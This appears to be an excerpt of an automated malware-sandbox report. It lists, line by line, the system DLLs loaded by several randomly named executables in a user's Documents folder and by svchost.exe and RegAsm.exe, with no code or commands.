Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\wvASxpczH5zLyfxXnILhiH8_.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Section loaded: powrprof.dll
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Section loaded: umpdc.dll
Source: C:\Users\user\Documents\iofolko5\OvoRF_A3QBH3keQBtcOqN7Fa.exe	Section loaded: pdh.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: winmm.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: winhttp.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: mswsock.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: winnsi.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: dpapi.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: mozglue.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: wsock32.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: vcruntime140.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: msvcp140.dll
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
